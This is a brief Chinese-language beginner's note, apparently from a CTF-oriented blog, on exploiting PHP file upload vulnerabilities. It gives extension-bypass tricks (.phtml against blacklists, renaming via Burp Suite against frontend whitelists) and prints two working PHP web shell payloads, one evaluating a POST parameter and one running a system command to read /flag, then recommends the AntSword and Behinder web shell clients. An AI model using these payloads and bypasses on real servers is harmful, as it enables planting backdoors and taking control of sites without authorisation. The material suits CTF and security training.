[PHP知识库]文件上传漏洞

①后端以黑名单方式过滤以.php .php3 .php5 .php8 .jsp. 各种脚本后缀的马，可以考虑使用.phtml文件格式上传

<script language='php'>@eval($_POST['a']);</script>
<script language='php'>system('cat /flag');</script>
②前端以白名单方式只允许某种格式文件上传，写好马，改后缀，burpsuit抓包修改后缀后上传，

建议用蚁剑连接shell，冰蝎接受java类的

小菜鸟，都是最基础的，各位可以留言改正 ，谢谢！！！